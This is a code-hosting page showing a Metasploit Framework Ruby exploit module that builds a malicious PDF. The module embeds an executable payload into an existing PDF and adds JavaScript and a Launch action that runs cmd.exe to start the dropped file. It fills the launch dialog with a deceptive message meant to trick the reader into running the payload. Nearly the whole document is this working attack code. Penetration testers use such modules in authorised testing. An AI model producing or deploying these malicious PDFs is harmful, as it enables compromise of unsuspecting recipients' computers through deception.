PageRenderTime 54ms CodeModel.GetById 25ms RepoModel.GetById 1ms app.codeStats 0ms

/modules/exploits/windows/fileformat/adobe_pdf_embedded_exe.rb

https://bitbucket.org/jrossi/metasploit
Ruby | 376 lines | 279 code | 83 blank | 14 comment | 23 complexity | fc8c82aa2a76af8c4d5378255d7d9d47 MD5 | raw file
Possible License(s): GPL-2.0, LGPL-2.1, BSD-3-Clause
  1. ##
  2. # $Id$
  3. ##
  4. ##
  5. # This file is part of the Metasploit Framework and may be subject to
  6. # redistribution and commercial restrictions. Please see the Metasploit
  7. # Framework web site for more information on licensing and terms of use.
  8. # http://metasploit.com/framework/
  9. ##
  10. require 'msf/core'
  11. class Metasploit3 < Msf::Exploit::Remote
  12. Rank = ExcellentRanking
  13. include Msf::Exploit::PDF_Parse
  14. include Msf::Exploit::FILEFORMAT
  15. include Msf::Exploit::EXE
  16. def initialize(info = {})
  17. super(update_info(info,
  18. 'Name' => 'Adobe PDF Embedded EXE Social Engineering',
  19. 'Description' => %q{
  20. This module embeds a Metasploit payload into an existing PDF file. The
  21. resulting PDF can be sent to a target as part of a social engineering attack.
  22. },
  23. 'License' => MSF_LICENSE,
  24. 'Author' =>
  25. [
  26. 'Colin Ames <amesc[at]attackresearch.com>', # initial module
  27. 'jduck' # add Documents for vista/win7
  28. ],
  29. 'Version' => '$Revision$',
  30. 'References' =>
  31. [
  32. [ 'CVE', '2010-1240' ],
  33. [ 'OSVDB', '63667' ],
  34. [ 'URL', 'http://blog.didierstevens.com/2010/04/06/update-escape-from-pdf/' ],
  35. [ 'URL', 'http://blog.didierstevens.com/2010/03/31/escape-from-foxit-reader/' ],
  36. [ 'URL', 'http://blog.didierstevens.com/2010/03/29/escape-from-pdf/' ]
  37. ],
  38. 'Payload' =>
  39. {
  40. 'Space' => 2048,
  41. 'DisableNops' => true,
  42. 'StackAdjustment' => -3500,
  43. },
  44. 'Platform' => 'win',
  45. 'Targets' =>
  46. [
  47. [ 'Adobe Reader v8.x, v9.x (Windows XP SP3 English)', { 'Ret' => '' } ]
  48. ],
  49. 'DefaultTarget' => 0))
  50. register_options(
  51. [
  52. OptString.new('INFILENAME', [ true, 'The Input PDF filename.']),
  53. OptString.new('EXENAME', [ false, 'The Name of payload exe.']),
  54. OptString.new('FILENAME', [ false, 'The output filename.', 'evil.pdf']),
  55. OptString.new('LAUNCH_MESSAGE', [ false, 'The message to display in the File: area',
  56. "To view the encrypted content please tick the \"Do not show this message again\" box and press Open."]),
  57. ], self.class)
  58. end
  59. def exploit
  60. file_name = datastore['INFILENAME']
  61. exe_name = datastore['EXENAME']
  62. print_status("Reading in '#{file_name}'...")
  63. stream = read_pdf()
  64. print_status("Parsing '#{file_name}'...")
  65. pdf_objects = parse_pdf(stream)
  66. print_status("Parsing Successful.")
  67. xref_trailers = pdf_objects[0]
  68. trailers = pdf_objects[1]
  69. startxrefs = pdf_objects[2]
  70. root_obj = pdf_objects[3]
  71. output = basic_social_engineering_exploit(xref_trailers,root_obj,stream,trailers,file_name,exe_name,startxrefs.last)
  72. print_status("Creating '#{datastore['FILENAME']}' file...")
  73. file_create(output)
  74. end
  75. def ef_payload(pdf_name,payload_exe,obj_num)
  76. if !(payload_exe and payload_exe.length > 0)
  77. print_status("Using '#{datastore['PAYLOAD']}' as payload...")
  78. payload_exe = generate_payload_exe
  79. file_size = payload_exe.length
  80. stream = Rex::Text.zlib_deflate(payload_exe)
  81. md5 = Rex::Text.md5(stream)
  82. else
  83. print_status("Using '#{datastore['EXENAME']}' as payload...")
  84. file_size = File.size(payload_exe)
  85. stream = Rex::Text.zlib_deflate(IO.read(payload_exe))
  86. md5 = Rex::Text.md5(File.read(payload_exe))
  87. end
  88. output = String.new()
  89. output << "#{obj_num.to_i + 1} 0 obj\r<</UF(#{pdf_name}.pdf)/F(#{pdf_name}.pdf)/EF<</F #{obj_num.to_i + 2} 0 R>>/Desc(#{pdf_name})/Type/Filespec>>\rendobj\r"
  90. output << "#{obj_num.to_i + 2} 0 obj\r<</Subtype/application#2Fpdf/Length #{stream.length + 3}/Filter/FlateDecode/DL #{file_size}/Params<</Size #{file_size}/CheckSum<#{md5.upcase}>>>>>stream\r#{stream}\r\nendstream\rendobj\r"
  91. return output
  92. end
  93. def js_payload(pdf_name,obj_num)
  94. output = String.new()
  95. output << "#{obj_num.to_i + 3} 0 obj\r<</S/JavaScript/JS(this.exportDataObject({ cName: \"#{pdf_name}\", nLaunch: 0 });)/Type/Action>>\rendobj\r"
  96. output << "#{obj_num.to_i + 4} 0 obj\r<</S/Launch/Type/Action/Win<</F(cmd.exe)/D(c:\\\\windows\\\\system32)/P(/Q /C "
  97. # change to the home drive/path no matter what
  98. output << "%HOMEDRIVE%&cd %HOMEPATH%"
  99. # check for the pdf in these dirs, in this order..
  100. dirs = [ "Desktop", "My Documents", "Documents" ]
  101. dirs.each { |dir|
  102. fmt = "&"+
  103. "("+
  104. "if exist \"%s\" "+
  105. "(cd \"%s\")"+
  106. ")"
  107. fname = "%s\\\\#{pdf_name}.pdf" % dir
  108. output << fmt % [fname, dir]
  109. }
  110. launch_message = datastore['LAUNCH_MESSAGE']
  111. lines = []
  112. launch_message.gsub(/.{1,80}(?:\s|\Z)/) { lines << $& }
  113. if (lines.length > 2)
  114. print_status("Warning: the LAUNCH_MESSAGE is more than 2 lines. It may not display correctly.")
  115. end
  116. output << "&"+
  117. # note: the following doesn't work with spaces, and adding quotes doesn't execute the payload :-/
  118. "(start #{pdf_name}.pdf)"+
  119. # note: The below message modifies the text in the "File:" textfield of the "Launch File" dialog
  120. ("\n"*10) +
  121. launch_message+
  122. # note: this extra rparen is required.
  123. ")"+
  124. ">>>>\rendobj\r"
  125. return output
  126. end
  127. def basic_social_engineering_exploit(xref_trailers,root_obj,stream,trailers,file_name,exe_name,startxref)
  128. file_name = file_name.split(/\//).pop.to_s
  129. match = file_name.match(/(.+)\.pdf/)
  130. if match
  131. pdf_name = match[1]
  132. end
  133. catalog = parse_object(xref_trailers,root_obj,stream)
  134. match = catalog.match(/Names (\d+ \d) R/m)
  135. if match
  136. names = parse_object(xref_trailers,match[1],stream)
  137. match = names.match(/EmbeddedFiles (\d+ \d) R/m)
  138. if match
  139. embedded_files = parse_object(xref_trailers,match[1],stream)
  140. new_embedded_files = embedded_files.gsub(/(\]>>)/m,"(\xfe\xff#{Rex::Text.to_unicode(pdf_name,"utf-16be")})#{trailers[0].fetch("Size")} 0 R" + '\1')
  141. else
  142. new_names = names.gsub(/(>>.*)/m,"/EmbeddedFiles #{trailers[0].fetch("Size")} 0 R" + '\1')
  143. end
  144. else
  145. new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/Names #{trailers[0].fetch("Size")} 0 R")
  146. end
  147. if catalog.match(/OpenAction/m)
  148. match = catalog.match(/OpenAction (\d+ \d) R/m)
  149. if match
  150. open_action = "#{match[1]} R"
  151. if new_catalog
  152. if new_embedded_files
  153. new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
  154. elsif new_names
  155. new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
  156. else
  157. new_catalog = new_catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
  158. end
  159. else
  160. if new_embedded_files
  161. new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
  162. elsif new_names
  163. new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
  164. else
  165. new_catalog = catalog.gsub(/OpenAction \d+ \d R/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
  166. end
  167. end
  168. else
  169. if new_catalog
  170. new_catalog = new_catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
  171. else
  172. new_catalog = catalog.gsub(/OpenAction ?\[.+\]/m, "OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
  173. end
  174. end
  175. else
  176. if new_catalog
  177. if new_embedded_files
  178. new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
  179. elsif new_names
  180. new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
  181. else
  182. new_catalog = new_catalog.gsub(/(Names \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
  183. end
  184. else
  185. if new_embedded_files
  186. new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 2} 0 R")
  187. elsif new_names
  188. new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 3} 0 R")
  189. else
  190. new_catalog = catalog.gsub(/(Pages \d+ \d R)/m,'\1' + "/OpenAction #{trailers[0].fetch("Size").to_i + 4} 0 R")
  191. end
  192. end
  193. end
  194. pages_obj = catalog.match(/Pages (\d+ \d) R/m)[1]
  195. pages = parse_object(xref_trailers,pages_obj,stream)
  196. page_obj = pages.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)[1]
  197. page = parse_object(xref_trailers,page_obj,stream)
  198. match = page.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)
  199. while match
  200. page_obj = match[1]
  201. page = parse_object(xref_trailers,page_obj,stream)
  202. match = page.match(/Kids ?\[\r?\n? *(\d+ \d) R/m)
  203. end
  204. match = page.match(/AA<<\/O (\d+ \d) R/m)
  205. if match
  206. aa = parse_object(xref_trailers,match[1],stream)
  207. end
  208. new_pdf = String.new()
  209. xrefs = String.new()
  210. if new_embedded_files
  211. pdf_payload = String.new()
  212. num = trailers[0].fetch("Size").to_i - 1
  213. pdf_payload << ef_payload(pdf_name,exe_name,num)
  214. pdf_payload << js_payload(pdf_name,num)
  215. new_pdf << stream << pdf_payload
  216. xrefs = xref_create(new_pdf,stream.length,"*")
  217. new_size = trailers[0].fetch("Size").to_i + 4
  218. if aa
  219. new_page = page.gsub(/(AA<<\/O )\d+ \d R(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 3} 0" + '\2')
  220. else
  221. new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 3} 0 R>>" + '\1')
  222. end
  223. new_pdf << new_catalog
  224. xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")
  225. new_pdf << new_page
  226. xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")
  227. new_pdf << new_embedded_files
  228. xrefs << xref_create(new_pdf,(new_pdf.length - new_embedded_files.length), "1")
  229. if trailers[0].has_key?("ID")
  230. new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"
  231. else
  232. new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R>>\r\n"
  233. end
  234. new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_embedded_files.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"
  235. elsif new_names
  236. pdf_payload = String.new()
  237. num = trailers[0].fetch("Size").to_i
  238. pdf_payload << "#{num} 0 obj\r<</Names[(\xfe\xff#{Rex::Text.to_unicode(pdf_name,"utf-16be")})#{num + 1} 0 R]>>\rendobj\r"
  239. pdf_payload << ef_payload(pdf_name,exe_name,num)
  240. pdf_payload << js_payload(pdf_name,num)
  241. new_pdf << stream << pdf_payload
  242. xrefs = xref_create(new_pdf,stream.length,"*")
  243. new_size = trailers[0].fetch("Size").to_i + 5
  244. if aa
  245. new_page = page.gsub(/(AA<<\/O )\d+ \d(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 4} 0" + '\2')
  246. else
  247. new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 4} 0 R>>" + '\1')
  248. end
  249. new_pdf << new_catalog
  250. xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")
  251. new_pdf << new_page
  252. xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")
  253. new_pdf << new_names
  254. xrefs << xref_create(new_pdf,(new_pdf.length - new_names.length), "1")
  255. if trailers[0].has_key?("ID")
  256. new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"
  257. else
  258. new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R>>\r\n"
  259. end
  260. new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_names.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"
  261. else
  262. pdf_payload = String.new()
  263. num = trailers[0].fetch("Size").to_i + 1
  264. pdf_payload << "#{trailers[0].fetch("Size")} 0 obj\r<</EmbeddedFiles #{num} 0 R>>\rendobj\r"
  265. pdf_payload << "#{num} 0 obj\r<</Names[(#{pdf_name})#{num + 1} 0 R]>>\rendobj\r"
  266. pdf_payload << ef_payload(pdf_name,exe_name,num)
  267. pdf_payload << js_payload(pdf_name,num)
  268. new_pdf << stream << pdf_payload
  269. xrefs = xref_create(new_pdf,stream.length,"*")
  270. new_size = trailers[0].fetch("Size").to_i + 6
  271. if aa
  272. new_page = page.gsub(/(AA<<\/O )\d+ \d(.*)/m,'\1' + "#{trailers[0].fetch("Size").to_i + 5} 0" + '\2')
  273. else
  274. new_page = page.gsub(/(>> *\r?\n? *endobj)/m,"/AA<<\/O #{trailers[0].fetch("Size").to_i + 5} 0 R>>" + '\1')
  275. end
  276. new_pdf << new_catalog
  277. xrefs << xref_create(new_pdf,(new_pdf.length - new_catalog.length), "1")
  278. new_pdf << new_page
  279. xrefs << xref_create(new_pdf,(new_pdf.length - new_page.length), "1")
  280. if trailers[0].has_key?("ID")
  281. new_pdf << "xref\r\n" << xrefs << "trailer\r\n<</Size #{new_size}/Prev #{startxref}/Root #{trailers[0].fetch("Root")} R/Info #{trailers[0].fetch("Info")} R/ID#{trailers[0].fetch("ID")}>>\r\n"
  282. else
  283. new_pdf << "xref\r\n" << xrefs
  284. new_pdf << "trailer\r\n"
  285. new_pdf << "<</Size #{new_size}/Prev #{startxref}"
  286. new_pdf << "/Root #{trailers[0].fetch("Root")} R"
  287. new_pdf << "/Info #{trailers[0].fetch("Info")} R>>\r\n"
  288. end
  289. new_pdf << "startxref\r\n#{stream.length + pdf_payload.length + new_page.length + new_catalog.length}\r\n%%EOF\r\n"
  290. end
  291. return new_pdf
  292. end
  293. end